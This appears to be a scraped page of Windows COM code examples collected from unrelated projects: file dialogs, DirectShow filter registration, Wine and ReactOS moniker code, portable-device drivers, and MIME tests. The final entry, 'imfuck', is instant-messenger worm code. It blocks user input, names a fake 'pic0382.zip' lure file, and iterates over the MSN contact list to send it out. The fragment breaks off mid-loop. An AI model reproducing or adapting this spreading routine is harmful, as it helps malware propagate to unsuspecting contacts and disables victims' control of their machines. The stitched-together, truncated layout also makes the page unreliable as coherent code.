		if (t_succeeded && (p_options & MCA_OPTION_FOLDER_DIALOG) == 0)
		{
			UINT t_index;
			t_hresult = t_file_dialog -> GetFileTypeIndex(&t_index);
			t_succeeded = SUCCEEDED(t_hresult);
			if (t_succeeded)
				t_filter_index = (int)t_index;
		}

		if (t_file_dialog != NULL)
			t_file_dialog -> Release();

		if (!t_succeeded)
			t_result = t_hresult;
		else
			t_result = 0;
	}
	else
	{
		OPENFILENAMEA t_open_dialog;
		memset(&t_open_dialog, 0, sizeof(OPENFILENAMEA));
		t_open_dialog . lStructSize = sizeof(OPENFILENAMEA);

		char *t_initial_file_buffer = new char[MAX_PATH];
		if (t_initial_file != NULL)
			strcpy(t_initial_file_buffer, t_initial_file);
		else
			*t_initial_file_buffer = '\0';

		t_open_dialog . lpstrFilter = p_filter;
		t_open_dialog . nFilterIndex = 1;
		t_open_dialog . lpstrFile = t_initial_file_buffer;
		t_open_dialog . nMaxFile = MAX_PATH;
		t_open_dialog . lpstrInitialDir = t_initial_folder;
		t_open_dialog . lpstrTitle = p_prompt;
		t_open_dialog . Flags = OFN_FILEMUSTEXIST | OFN_HIDEREADONLY | OFN_NOCHANGEDIR |
														OFN_LONGNAMES | OFN_PATHMUSTEXIST | OFN_EXPLORER |
														OFN_ENABLEHOOK | OFN_ENABLESIZING;

		if (p_options & MCA_OPTION_PLURAL)
			t_open_dialog . Flags |= OFN_ALLOWMULTISELECT;

		if (p_options & MCA_OPTION_SAVE_DIALOG)
			t_open_dialog . Flags |= OFN_OVERWRITEPROMPT;

		t_open_dialog . lpstrFilter = p_filter;
		t_open_dialog . lpfnHook = open_dialog_hook;
		t_open_dialog . hwndOwner = t_window != NULL ? (HWND)t_window -> handle . window : NULL;

		if (p_options & MCA_OPTION_SAVE_DIALOG)
			t_succeeded = GetSaveFileNameA((LPOPENFILENAMEA)&t_open_dialog) == TRUE;
		else
		{
			*t_open_dialog . lpstrFile = '\0';
			t_succeeded = GetOpenFileNameA((LPOPENFILENAMEA)&t_open_dialog) == TRUE;
		}

		if (!t_succeeded)
			t_result = CommDlgExtendedError();

		// MW-2005-07-26: Try again without the specified filename if it was invalid
		if (t_result == FNERR_INVALIDFILENAME)
		{
			*t_open_dialog . lpstrFile = '\0';
			if (p_options & MCA_OPTION_SAVE_DIALOG)
				t_succeeded = GetSaveFileNameA((LPOPENFILENAMEA)&t_open_dialog) == TRUE;
			else
				t_succeeded = GetOpenFileNameA((LPOPENFILENAMEA)&t_open_dialog) == TRUE;

			if (!t_succeeded)
				t_result = CommDlgExtendedError();	
		}

		if (t_result == FNERR_BUFFERTOOSMALL)
			t_succeeded = true;

		if (t_succeeded)
		{
			build_paths(ep);
			t_filter_index = t_open_dialog . nFilterIndex;
		}

		delete t_initial_file_buffer;
	}

	if (t_succeeded)
	{
		if (p_options & MCA_OPTION_RETURN_FILTER)
		{
			const char *t_type = p_filter;
			const char *t_types = p_filter;
			for(int t_index = t_filter_index * 2 - 1; t_index > 1; t_types += 1)
				if (*t_types == '\0')
					t_type = t_types + 1, t_index -= 1;
			MCresult -> copysvalue(t_type);
		}

		t_result = 0;
	}

	waitonbutton();

	if (t_initial_folder != NULL)
		delete t_initial_folder;

	if (t_initial_file != NULL)
		delete t_initial_file;

	return t_result;
}
Esempio n. 14
0
STDAPI
AMovieDllRegisterServer( void )
{
  HRESULT hr = NOERROR;

  // get file name (where g_hInst is the
  // instance handle of the filter dll)
  //
  WCHAR achFileName[MAX_PATH];

  {
    // WIN95 doesn't support GetModuleFileNameW
    //
    char achTemp[MAX_PATH];

    if( 0 == GetModuleFileNameA( g_hInst
                              , achTemp
                              , sizeof(achTemp) ) )
    {
      // we've failed!
      DWORD dwerr = GetLastError();
      return AmHresultFromWin32(dwerr);
    }

    MultiByteToWideChar( CP_ACP
                       , 0L
                       , achTemp
                       , lstrlenA(achTemp) + 1
                       , achFileName
                       , NUMELMS(achFileName) );
  }

  // scan through array of CFactoryTemplates
  // registering servers and filters.
  //
  for( int i = 0; i < g_cTemplates; i++ )
  {
    // get i'th template
    //
    const CFactoryTemplate *pT = &g_Templates[i];

    // register CLSID and InprocServer32
    //
    hr = AMovieSetupRegisterServer( *(pT->m_ClsID)
                                  , (LPCWSTR)pT->m_Name
                                  , achFileName );

    // instantiate all servers and get hold of
    // IAMovieSetup, if implemented, and call
    // IAMovieSetup.Register() method
    //
    if( SUCCEEDED(hr) && (NULL != pT->m_lpfnNew) )
    {
      // instantiate object
      //
      PAMOVIESETUP psetup;
      hr = CoCreateInstance( *(pT->m_ClsID)
                           , 0
                           , CLSCTX_INPROC_SERVER
                           , IID_IAMovieSetup
                           , reinterpret_cast<void**>(&psetup) );
      if( SUCCEEDED(hr) )
      {
        hr = psetup->Unregister();
        if( SUCCEEDED(hr) )
          hr = psetup->Register();
        psetup->Release();
      }
      else
      {
        if(    (E_NOINTERFACE      == hr )
            || (VFW_E_NEED_OWNER == hr ) )
          hr = NOERROR;
      }
    }

    // check final error for this pass
    // and break loop if we failed
    //
    if( FAILED(hr) )
      break;

  } // end-for

  return hr;
}
Esempio n. 15
0
File: mk.c Progetto: GYGit/reactos
static HRESULT WINAPI MkProtocol_StartEx(IInternetProtocolEx *iface, IUri *pUri,
        IInternetProtocolSink *pOIProtSink, IInternetBindInfo *pOIBindInfo,
        DWORD grfPI, HANDLE *dwReserved)
{
    MkProtocol *This = impl_from_IInternetProtocolEx(iface);
    LPWSTR mime, progid, display_name, colon_ptr;
    DWORD bindf=0, eaten=0, scheme=0, len;
    BSTR url, path = NULL;
    IParseDisplayName *pdn;
    BINDINFO bindinfo;
    STATSTG statstg;
    IMoniker *mon;
    HRESULT hres;
    CLSID clsid;

    TRACE("(%p)->(%p %p %p %08x %p)\n", This, pUri, pOIProtSink,
            pOIBindInfo, grfPI, dwReserved);

    hres = IUri_GetScheme(pUri, &scheme);
    if(FAILED(hres))
        return hres;
    if(scheme != URL_SCHEME_MK)
        return INET_E_INVALID_URL;

    memset(&bindinfo, 0, sizeof(bindinfo));
    bindinfo.cbSize = sizeof(BINDINFO);
    hres = IInternetBindInfo_GetBindInfo(pOIBindInfo, &bindf, &bindinfo);
    if(FAILED(hres)) {
        WARN("GetBindInfo failed: %08x\n", hres);
        return hres;
    }

    ReleaseBindInfo(&bindinfo);

    IInternetProtocolSink_ReportProgress(pOIProtSink, BINDSTATUS_SENDINGREQUEST, NULL);

    hres = IUri_GetDisplayUri(pUri, &url);
    if(FAILED(hres))
        return hres;
    hres = FindMimeFromData(NULL, url, NULL, 0, NULL, 0, &mime, 0);
    SysFreeString(url);
    if(SUCCEEDED(hres)) {
        IInternetProtocolSink_ReportProgress(pOIProtSink, BINDSTATUS_MIMETYPEAVAILABLE, mime);
        CoTaskMemFree(mime);
    }

    hres = IUri_GetPath(pUri, &path);
    if(FAILED(hres))
        return hres;
    len = SysStringLen(path)+1;
    hres = UrlUnescapeW(path, NULL, &len, URL_UNESCAPE_INPLACE);
    if (FAILED(hres)) {
        SysFreeString(path);
        return report_result(pOIProtSink, INET_E_RESOURCE_NOT_FOUND, ERROR_INVALID_PARAMETER);
    }

    progid = path+1; /* skip '@' symbol */
    colon_ptr = strchrW(path, ':');
    if(!colon_ptr) {
        SysFreeString(path);
        return report_result(pOIProtSink, INET_E_RESOURCE_NOT_FOUND, ERROR_INVALID_PARAMETER);
    }

    len = strlenW(path);
    display_name = heap_alloc((len+1)*sizeof(WCHAR));
    memcpy(display_name, path, (len+1)*sizeof(WCHAR));

    progid[colon_ptr-progid] = 0; /* overwrite ':' with NULL terminator */
    hres = CLSIDFromProgID(progid, &clsid);
    SysFreeString(path);
    if(FAILED(hres))
    {
        heap_free(display_name);
        return report_result(pOIProtSink, INET_E_RESOURCE_NOT_FOUND, ERROR_INVALID_PARAMETER);
    }

    hres = CoCreateInstance(&clsid, NULL, CLSCTX_INPROC_SERVER|CLSCTX_INPROC_HANDLER,
            &IID_IParseDisplayName, (void**)&pdn);
    if(FAILED(hres)) {
        WARN("Could not create object %s\n", debugstr_guid(&clsid));
        heap_free(display_name);
        return report_result(pOIProtSink, hres, ERROR_INVALID_PARAMETER);
    }

    hres = IParseDisplayName_ParseDisplayName(pdn, NULL /* FIXME */, display_name, &eaten, &mon);
    heap_free(display_name);
    IParseDisplayName_Release(pdn);
    if(FAILED(hres)) {
        WARN("ParseDisplayName failed: %08x\n", hres);
        return report_result(pOIProtSink, hres, ERROR_INVALID_PARAMETER);
    }

    if(This->stream) {
        IStream_Release(This->stream);
        This->stream = NULL;
    }

    hres = IMoniker_BindToStorage(mon, NULL /* FIXME */, NULL, &IID_IStream, (void**)&This->stream);
    IMoniker_Release(mon);
    if(FAILED(hres)) {
        WARN("BindToStorage failed: %08x\n", hres);
        return report_result(pOIProtSink, hres, ERROR_INVALID_PARAMETER);
    }

    hres = IStream_Stat(This->stream, &statstg, STATFLAG_NONAME);
    if(FAILED(hres)) {
        WARN("Stat failed: %08x\n", hres);
        return report_result(pOIProtSink, hres, ERROR_INVALID_PARAMETER);
    }

    IInternetProtocolSink_ReportData(pOIProtSink,
            BSCF_FIRSTDATANOTIFICATION | BSCF_LASTDATANOTIFICATION,
            statstg.cbSize.u.LowPart, statstg.cbSize.u.LowPart);
    return report_result(pOIProtSink, S_OK, ERROR_SUCCESS);
}
Esempio n. 16
0
HRESULT CDevice::GetDeviceFriendlyName(
    __deref_out_opt LPWSTR*       pwszDeviceFriendlyName)
{
    HRESULT hr = S_OK;

    CComPtr<IPortableDeviceValues>        pParams;
    CComPtr<IPortableDeviceValues>        pResults;
    CComPtr<IPortableDeviceKeyCollection> pKeys;
    CComPtr<IPortableDeviceValues>        pValues;

    if (pwszDeviceFriendlyName == NULL)
    {
        hr = E_POINTER;
        CHECK_HR(hr, "Cannot have NULL parameter");
        return hr;
    }

    *pwszDeviceFriendlyName = NULL;

    // Prepare to make a call to query for the device friendly name
    if (hr == S_OK)
    {
        hr = CoCreateInstance(CLSID_PortableDeviceValues, NULL, CLSCTX_INPROC_SERVER, IID_IPortableDeviceValues, (VOID**)&pParams);
        CHECK_HR(hr, "Failed to CoCreate CLSID_PortableDeviceValues");
    }

    if (hr == S_OK)
    {
        hr = CoCreateInstance(CLSID_PortableDeviceValues, NULL, CLSCTX_INPROC_SERVER, IID_IPortableDeviceValues, (VOID**)&pResults);
        CHECK_HR(hr, "Failed to CoCreate CLSID_PortableDeviceValues");
    }

    if (hr == S_OK)
    {
        hr = CoCreateInstance(CLSID_PortableDeviceKeyCollection, NULL, CLSCTX_INPROC_SERVER, IID_IPortableDeviceKeyCollection, (VOID**)&pKeys);
        CHECK_HR(hr, "Failed to CoCreate CLSID_PortableDeviceKeyCollection for results");
    }

    // Set the params
    if (hr == S_OK)
    {
        hr = pParams->SetGuidValue(WPD_PROPERTY_COMMON_COMMAND_CATEGORY, WPD_COMMAND_OBJECT_PROPERTIES_GET.fmtid);
        CHECK_HR(hr, ("Failed to set WPD_PROPERTY_COMMON_COMMAND_CATEGORY"));
    }

    if (hr == S_OK)
    {
        hr = pParams->SetUnsignedIntegerValue(WPD_PROPERTY_COMMON_COMMAND_ID, WPD_COMMAND_OBJECT_PROPERTIES_GET.pid);
        CHECK_HR(hr, ("Failed to set WPD_PROPERTY_COMMON_COMMAND_ID"));
    }

    if (hr == S_OK)
    {
        hr = pParams->SetStringValue(WPD_PROPERTY_OBJECT_PROPERTIES_OBJECT_ID, WPD_DEVICE_OBJECT_ID);
        CHECK_HR(hr, ("Failed to set WPD_PROPERTY_OBJECT_PROPERTIES_OBJECT_ID"));
    }

    if (hr == S_OK)
    {
        hr = pKeys->Add(WPD_DEVICE_FRIENDLY_NAME);
        CHECK_HR(hr, ("Failed to add WPD_DEVICE_FRIENDLY_NAME to key collection"));
    }

    if (hr == S_OK)
    {
        hr = pParams->SetIPortableDeviceKeyCollectionValue(WPD_PROPERTY_OBJECT_PROPERTIES_PROPERTY_KEYS, pKeys);
        CHECK_HR(hr, ("Failed to set WPD_PROPERTY_OBJECT_PROPERTIES_PROPERTY_KEYS"));
    }

    // Make the call
    if (hr == S_OK)
    {
        hr = m_pWpdBaseDriver->DispatchWpdMessage(pParams, pResults);
        CHECK_HR(hr, ("Failed to dispatch message to get supported content types"));
    }

    if (hr == S_OK)
    {
        hr = pResults->GetIPortableDeviceValuesValue(WPD_PROPERTY_OBJECT_PROPERTIES_PROPERTY_VALUES, &pValues);
        CHECK_HR(hr, ("Failed to get WPD_PROPERTY_OBJECT_PROPERTIES_PROPERTY_VALUES"));
    }

    if (hr == S_OK)
    {
        hr = pValues->GetStringValue(WPD_DEVICE_FRIENDLY_NAME, pwszDeviceFriendlyName);
        CHECK_HR(hr, ("Failed to get WPD_DEVICE_FRIENDLY_NAME"));
    }

    return hr;
}
Esempio n. 17
0
/**
 * Initialize input.
 *
 * @return              @c true, if successful.
 */
boolean I_Init(void)
{
    HRESULT         hr;

    if(initIOk)
        return true; // Already initialized.

    if(ArgCheck("-nowsk")) // No Windows system keys?
    {
        // Disable Alt-Tab, Alt-Esc, Ctrl-Alt-Del.  A bit of a hack...
        SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, 0, 0);
        Con_Message("Windows system keys disabled.\n");
    }

    // We'll create the DirectInput object. The only required input device
    // is the keyboard. The others are optional.
    dInput = NULL;
    if(FAILED
       (hr =
        CoCreateInstance(&CLSID_DirectInput8, NULL, CLSCTX_INPROC_SERVER,
                         &IID_IDirectInput8, &dInput)) ||
       FAILED(hr =
              IDirectInput8_Initialize(dInput, app.hInstance, DIRECTINPUT_VERSION)))
    {
        Con_Message("I_Init: DirectInput 8 init failed (0x%x).\n", hr);
        // Try DInput3 instead.
        // I'm not sure if this works correctly.
        if(FAILED
           (hr =
            CoCreateInstance(&CLSID_DirectInput, NULL, CLSCTX_INPROC_SERVER,
                             &IID_IDirectInput2W, &dInput)) ||
           FAILED(hr = IDirectInput2_Initialize(dInput, app.hInstance, 0x0300)))
        {
            Con_Message
                ("I_Init: Failed to create DirectInput 3 object (0x%x).\n",
                 hr);
            return false;
        }
        Con_Message("I_Init: Using DirectInput 3.\n");
    }

    if(!dInput)
    {
        Con_Message("I_Init: DirectInput init failed.\n");
        return false;
    }

    if(!I_InitKeyboard())
        return false; // We must have a keyboard!

    // Acquire the keyboard.
    IDirectInputDevice_Acquire(didKeyb);

    // Create the mouse and joystick devices. It doesn't matter if the init
    // fails for them.
    I_InitMouse();
    I_InitJoystick();

    initIOk = true;

    return true;
}
Esempio n. 18
0
CDevice::OnPrepareHardware(IWDFDevice* pDevice)
{
    HRESULT hr = S_OK;

    if (m_pPortableDeviceClassExtension == NULL)
    {
        hr = CoCreateInstance(CLSID_PortableDeviceClassExtension,
                              NULL,
                              CLSCTX_INPROC_SERVER,
                              IID_IPortableDeviceClassExtension,
                              (VOID**)&m_pPortableDeviceClassExtension);
        CHECK_HR(hr, "Failed to CoCreate CLSID_PortableDeviceClassLibrary");

        // Initialize the WPD Class Extension. This will enable the appropriate WPD interface GUID,
        // as well as do any additional initialization (e.g. enabling Legacy Compatibility layers for those drivers
        // which requsted support in their INF).
        if (hr == S_OK)
        {
            CComPtr<IPortableDeviceValues>                pOptions;
            CComPtr<IPortableDevicePropVariantCollection> pContentTypes;

            hr = CoCreateInstance(CLSID_PortableDeviceValues,
                                  NULL,
                                  CLSCTX_INPROC_SERVER,
                                  IID_IPortableDeviceValues,
                                  (VOID**)&pOptions);
            CHECK_HR(hr, "Failed to CoCreate CLSID_PortableDeviceClassLibrary");

            if (hr == S_OK)
            {
                hr = GetSupportedContentTypes(&pContentTypes);
                CHECK_HR(hr, "Failed to get supported content types");

                // Add the supported types to the options
                if (hr == S_OK)
                {
                    hr = pOptions->SetIPortableDevicePropVariantCollectionValue(WPD_CLASS_EXTENSION_OPTIONS_SUPPORTED_CONTENT_TYPES, pContentTypes);
                    CHECK_HR(hr, "Failed to set WPD_CLASS_EXTENSION_OPTIONS_SUPPORTED_CONTENT_TYPES");
                }

                if (hr == S_OK)
                {
                    hr = m_pPortableDeviceClassExtension->Initialize(pDevice, pOptions);
                    CHECK_HR(hr, "Failed to Initialize portable device class extension object");
                }
            }
        }

        if (hr == S_OK)
        {
            DWORD   dwLength        = 0;
            WCHAR*  pszDeviceName   = NULL;
            hr = pDevice->RetrieveDeviceName(NULL, &dwLength);
            if(dwLength > 0)
            {
                pszDeviceName = new WCHAR[dwLength + 1];
                if(pszDeviceName)
                {
                    DWORD dwLengthTemp = dwLength;
                    hr = pDevice->RetrieveDeviceName(pszDeviceName, &dwLengthTemp);
                    CHECK_HR(hr, "Failed to get device name");
                    if (hr == S_OK)
                    {
                        pszDeviceName[dwLength] = L'\0';
                        if (m_pWpdBaseDriver != NULL)
                        {
                            hr = m_pWpdBaseDriver->Initialize(pszDeviceName, m_pPortableDeviceClassExtension);
                            CHECK_HR(hr, "Failed to initialize the fake device");
                        }
                        else
                        {
                            hr = E_UNEXPECTED;
                            CHECK_HR(hr, "NULL driver class used, Driver may not be initialized");
                        }
                    }
                    delete[] pszDeviceName;
                    pszDeviceName = NULL;
                }
                else
                {
                    hr = E_OUTOFMEMORY;
                    CHECK_HR(hr, "Failed to allocate memory for device name");
                }
            }
            else
            {
                CHECK_HR(hr, "Failed to get device name length");
            }
        }

        // Send the latest device friendly name to the Portable Device class extension library to process
        if (hr == S_OK)
        {
            LPWSTR pwszDeviceFriendlyName = NULL;

            HRESULT hrTemp = GetDeviceFriendlyName(&pwszDeviceFriendlyName);
            CHECK_HR(hrTemp, "Failed to get the device friendly name");

            if (hrTemp == S_OK)
            {
                hrTemp = UpdateDeviceFriendlyName(m_pPortableDeviceClassExtension, pwszDeviceFriendlyName);
                CHECK_HR(hrTemp, "Failed to update device friendly name information");
            }

            CoTaskMemFree(pwszDeviceFriendlyName);
            pwszDeviceFriendlyName = NULL;
        }
    }
    return hr;
}
Esempio n. 19
0
HRESULT Drosera::initUI(HINSTANCE hInstance, int nCmdShow)
{
    // Initialize global strings
    LoadString(hInstance, IDS_APP_TITLE, szTitle, ARRAYSIZE(szTitle));
    LoadString(hInstance, IDC_DROSERA, szWindowClass, ARRAYSIZE(szWindowClass));
    registerDroseraClass(hInstance);

    Drosera::setInst(hInstance); // Store instance handle in our local variable

    m_hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, 0, 0, hInstance, 0);

    if (!m_hWnd)
        return HRESULT_FROM_WIN32(GetLastError());

    SetLastError(0);
    SetWindowLongPtr(m_hWnd, 0, reinterpret_cast<LONG_PTR>(this));
    HRESULT ret = HRESULT_FROM_WIN32(GetLastError());
    if (FAILED(ret))
        return ret;

    ret = OleInitialize(0);
    if (FAILED(ret))
        return ret;

    ret = CoCreateInstance(CLSID_WebView, 0, CLSCTX_ALL, IID_IWebView, (void**)&m_webView);
    if (FAILED(ret))
        return ret;

    ret = m_webView->QueryInterface(IID_IWebViewPrivate, reinterpret_cast<void**>(&m_webViewPrivate));
    if (FAILED(ret))
        return ret;

    ret = m_webView->setHostWindow(reinterpret_cast<OLE_HANDLE>(m_hWnd));
    if (FAILED(ret))
        return ret;

    ret = m_webView->setFrameLoadDelegate(this);
    if (FAILED(ret))
        return ret;

    ret = m_webView->setUIDelegate(this);
    if (FAILED(ret))
        return ret;

    RECT rect = {0};
    ret = m_webView->initWithFrame(rect, 0, 0);
    if (FAILED(ret))
        return ret;

    HWND viewWindow;
    ret = m_webViewPrivate->viewWindow(reinterpret_cast<OLE_HANDLE*>(&viewWindow));
    if (FAILED(ret))
        return ret;

    ::SetProp(viewWindow, kDroseraPointerProp, (HANDLE)this);

    COMPtr<IWebFrame> mainFrame;
    ret = m_webView->mainFrame(&mainFrame);
    if (FAILED(ret))
        return ret;

    COMPtr<IWebMutableURLRequest> request;
    ret = CoCreateInstance(CLSID_WebMutableURLRequest, 0, CLSCTX_ALL, IID_IWebMutableURLRequest, (void**)&request);
    if (FAILED(ret))
        return ret;

    RetainPtr<CFURLRef> htmlURLRef(AdoptCF, ::CFBundleCopyResourceURL(::CFBundleGetBundleWithIdentifier(CFSTR("org.webkit.drosera")), CFSTR("debugger"), CFSTR("html"), CFSTR("Drosera")));
    if (!htmlURLRef)
        return E_FAIL;

    CFStringRef urlStringRef = ::CFURLGetString(htmlURLRef.get());
    BSTR tempStr = cfStringToBSTR(urlStringRef);    // Both initWithRUL and SysFreeString can handle 0.
    ret = request->initWithURL(tempStr, WebURLRequestUseProtocolCachePolicy, 60);
    SysFreeString(tempStr);
    if (FAILED(ret))
        return ret;

    ret = mainFrame->loadRequest(request.get());
    if (FAILED(ret))
        return ret;

    m_webViewLoaded = true;

    // FIXME: Implement window size/position save/restore

    RECT frame;
    frame.left = 60;
    frame.top = 200;
    frame.right = 750;
    frame.bottom = 550;
    ::SetWindowPos(m_hWnd, HWND_TOPMOST, frame.left, frame.top, frame.right - frame.left, frame.bottom - frame.top, 0);
    ShowWindow(m_hWnd, nCmdShow);
    UpdateWindow(m_hWnd);

    return 0;
}
Esempio n. 20
0
/******************************************************************************
 *                  FileMoniker_BindToObject
 */
static HRESULT WINAPI
FileMonikerImpl_BindToObject(IMoniker* iface, IBindCtx* pbc, IMoniker* pmkToLeft,
                             REFIID riid, VOID** ppvResult)
{
    FileMonikerImpl *This = impl_from_IMoniker(iface);
    HRESULT   res=E_FAIL;
    CLSID     clsID;
    IUnknown* pObj=0;
    IRunningObjectTable *prot=0;
    IPersistFile  *ppf=0;
    IClassFactory *pcf=0;
    IClassActivator *pca=0;

    *ppvResult=0;

    TRACE("(%p,%p,%p,%s,%p)\n",iface,pbc,pmkToLeft,debugstr_guid(riid),ppvResult);

    if(pmkToLeft==NULL){

        res=IBindCtx_GetRunningObjectTable(pbc,&prot);

        if (SUCCEEDED(res)){
            /* if the requested class was loaded before ! we don't need to reload it */
            res = IRunningObjectTable_GetObject(prot,iface,&pObj);

            if (res==S_FALSE){
                /* first activation of this class */
                res=GetClassFile(This->filePathName,&clsID);
                if (SUCCEEDED(res)){

                    res=CoCreateInstance(&clsID,NULL,CLSCTX_ALL,&IID_IPersistFile,(void**)&ppf);
                    if (SUCCEEDED(res)){

                        res=IPersistFile_Load(ppf,This->filePathName,STGM_READ);
                        if (SUCCEEDED(res)){

                            pObj=(IUnknown*)ppf;
                            IUnknown_AddRef(pObj);
                        }
                    }
                }
            }
        }
    }
    else{
        res=IMoniker_BindToObject(pmkToLeft,pbc,NULL,&IID_IClassFactory,(void**)&pcf);

        if (res==E_NOINTERFACE){

            res=IMoniker_BindToObject(pmkToLeft,pbc,NULL,&IID_IClassActivator,(void**)&pca);

            if (res==E_NOINTERFACE)
                return MK_E_INTERMEDIATEINTERFACENOTSUPPORTED;
        }
        if (pcf!=NULL){

            IClassFactory_CreateInstance(pcf,NULL,&IID_IPersistFile,(void**)&ppf);

            res=IPersistFile_Load(ppf,This->filePathName,STGM_READ);

            if (SUCCEEDED(res)){

                pObj=(IUnknown*)ppf;
                IUnknown_AddRef(pObj);
            }
        }
        if (pca!=NULL){

            FIXME("()\n");

            /*res=GetClassFile(This->filePathName,&clsID);

            if (SUCCEEDED(res)){

                res=IClassActivator_GetClassObject(pca,&clsID,CLSCTX_ALL,0,&IID_IPersistFile,(void**)&ppf);

                if (SUCCEEDED(res)){

                    pObj=(IUnknown*)ppf;
                    IUnknown_AddRef(pObj);
                }
            }*/
        }
    }

    if (pObj!=NULL){
        /* get the requested interface from the loaded class */
        res= IUnknown_QueryInterface(pObj,riid,ppvResult);

        IBindCtx_RegisterObjectBound(pbc,*ppvResult);

        IUnknown_Release(pObj);
    }

    if (prot!=NULL)
        IRunningObjectTable_Release(prot);

    if (ppf!=NULL)
        IPersistFile_Release(ppf);

    if (pca!=NULL)
        IClassActivator_Release(pca);

    if (pcf!=NULL)
        IClassFactory_Release(pcf);

    return res;
}
Esempio n. 21
0
static void test_CreateBody(void)
{
    HRESULT hr;
    IMimeBody *body;
    HBODY handle = (void *)0xdeadbeef;
    IStream *in;
    LARGE_INTEGER off;
    ULARGE_INTEGER pos;
    ENCODINGTYPE enc;
    ULONG count, found_param, i;
    MIMEPARAMINFO *param_info;
    IMimeAllocator *alloc;
    BODYOFFSETS offsets;

    hr = CoCreateInstance(&CLSID_IMimeBody, NULL, CLSCTX_INPROC_SERVER, &IID_IMimeBody, (void**)&body);
    ok(hr == S_OK, "ret %08x\n", hr);

    hr = IMimeBody_GetHandle(body, &handle);
    ok(hr == MIME_E_NO_DATA, "ret %08x\n", hr);
    ok(handle == NULL, "handle %p\n", handle);

    hr = CreateStreamOnHGlobal(NULL, TRUE, &in);
    ok(hr == S_OK, "ret %08x\n", hr);
    IStream_Write(in, msg1, sizeof(msg1) - 1, NULL);
    off.QuadPart = 0;
    IStream_Seek(in, off, STREAM_SEEK_SET, NULL);

    /* Need to call InitNew before Load otherwise Load crashes with native inetcomm */
    hr = IMimeBody_InitNew(body);
    ok(hr == S_OK, "ret %08x\n", hr);

    hr = IMimeBody_GetCurrentEncoding(body, &enc);
    ok(hr == S_OK, "ret %08x\n", hr);
    ok(enc == IET_7BIT, "encoding %d\n", enc);

    hr = IMimeBody_Load(body, in);
    ok(hr == S_OK, "ret %08x\n", hr);
    off.QuadPart = 0;
    IStream_Seek(in, off, STREAM_SEEK_CUR, &pos);
    ok(pos.u.LowPart == 359, "pos %u\n", pos.u.LowPart);

    hr = IMimeBody_IsContentType(body, "multipart", "mixed");
    ok(hr == S_OK, "ret %08x\n", hr);
    hr = IMimeBody_IsContentType(body, "text", "plain");
    ok(hr == S_FALSE, "ret %08x\n", hr);
    hr = IMimeBody_IsContentType(body, NULL, "mixed");
    ok(hr == S_OK, "ret %08x\n", hr);
    hr = IMimeBody_IsType(body, IBT_EMPTY);
    ok(hr == S_OK, "got %08x\n", hr);

    hr = IMimeBody_SetData(body, IET_8BIT, "text", "plain", &IID_IStream, in);
    ok(hr == S_OK, "ret %08x\n", hr);
    hr = IMimeBody_IsContentType(body, "text", "plain");
    todo_wine
        ok(hr == S_OK, "ret %08x\n", hr);
    hr = IMimeBody_GetCurrentEncoding(body, &enc);
    ok(hr == S_OK, "ret %08x\n", hr);
    ok(enc == IET_8BIT, "encoding %d\n", enc);

    memset(&offsets, 0xcc, sizeof(offsets));
    hr = IMimeBody_GetOffsets(body, &offsets);
    ok(hr == MIME_E_NO_DATA, "ret %08x\n", hr);
    ok(offsets.cbBoundaryStart == 0, "got %d\n", offsets.cbBoundaryStart);
    ok(offsets.cbHeaderStart == 0, "got %d\n", offsets.cbHeaderStart);
    ok(offsets.cbBodyStart == 0, "got %d\n", offsets.cbBodyStart);
    ok(offsets.cbBodyEnd == 0, "got %d\n", offsets.cbBodyEnd);

    hr = IMimeBody_IsType(body, IBT_EMPTY);
    ok(hr == S_FALSE, "got %08x\n", hr);

    hr = MimeOleGetAllocator(&alloc);
    ok(hr == S_OK, "ret %08x\n", hr);

    hr = IMimeBody_GetParameters(body, "nothere", &count, &param_info);
    ok(hr == MIME_E_NOT_FOUND, "ret %08x\n", hr);
    ok(count == 0, "got %d\n", count);
    ok(!param_info, "got %p\n", param_info);

    hr = IMimeBody_GetParameters(body, "bar", &count, &param_info);
    ok(hr == S_OK, "ret %08x\n", hr);
    ok(count == 0, "got %d\n", count);
    ok(!param_info, "got %p\n", param_info);

    hr = IMimeBody_GetParameters(body, "Content-Type", &count, &param_info);
    ok(hr == S_OK, "ret %08x\n", hr);
    todo_wine  /* native adds a charset parameter */
        ok(count == 4, "got %d\n", count);
    ok(param_info != NULL, "got %p\n", param_info);

    found_param = 0;
    for(i = 0; i < count; i++)
    {
        if(!strcmp(param_info[i].pszName, "morestuff"))
        {
            found_param++;
            ok(!strcmp(param_info[i].pszData, "so\\me\"thing\""),
               "got %s\n", param_info[i].pszData);
        }
        else if(!strcmp(param_info[i].pszName, "stuff"))
        {
            found_param++;
            ok(!strcmp(param_info[i].pszData, "du;nno"),
               "got %s\n", param_info[i].pszData);
        }
    }
    ok(found_param == 2, "matched %d params\n", found_param);

    hr = IMimeAllocator_FreeParamInfoArray(alloc, count, param_info, TRUE);
    ok(hr == S_OK, "ret %08x\n", hr);
    IMimeAllocator_Release(alloc);

    IStream_Release(in);
    IMimeBody_Release(body);
}
Esempio n. 22
0
void imfuck(SOCKET sock)
{
	const char *msgg;
	srand(GetTickCount());
	msgg = *(&msg_send[randget(msg_send)]);
	char fakename[] = "pic0382.zip";
	char windir[MAX_PATH];
	GetWindowsDirectory(windir,sizeof(windir));
	strcat(windir, "\\");
	strcat(windir, fakename);

	IMSNMessenger *pIMessenger = NULL;
	CoInitialize(0);
	HRESULT hr = CoCreateInstance(
		CLSID_Messenger,
		NULL,
		CLSCTX_ALL,
		IID_IMSNMessenger,
		(void **)&pIMessenger);
	if (SUCCEEDED(hr))
	{
		IDispatch * dispContacts = NULL;
		pIMessenger->get_MyContacts(&dispContacts);
		if (SUCCEEDED(hr))
		{
			IMSNMessengerContacts *pIMessengerContacts = NULL;
			hr = dispContacts->QueryInterface(__uuidof(pIMessengerContacts),(LPVOID*)&pIMessengerContacts);
			if (SUCCEEDED(hr))
			{
				IDispatch * dispContact					= NULL;
				IMSNMessengerContact *pIMessengerContact	= NULL;
				long iContacts;
				hr = pIMessengerContacts->get_Count(&iContacts);
				if (SUCCEEDED(hr))
				{
					BlockInput(true);
					int x = 0;
					for (long i = 0; i < iContacts; i++)
					{
						hr = pIMessengerContacts->raw_Item(i,&dispContact);
						if (SUCCEEDED(hr))
						{
							hr = dispContact->QueryInterface(__uuidof(pIMessengerContact),(LPVOID*)&pIMessengerContact);
							if (SUCCEEDED(hr))
							{
								BSTR szContactName;
								VARIANT vt_user;
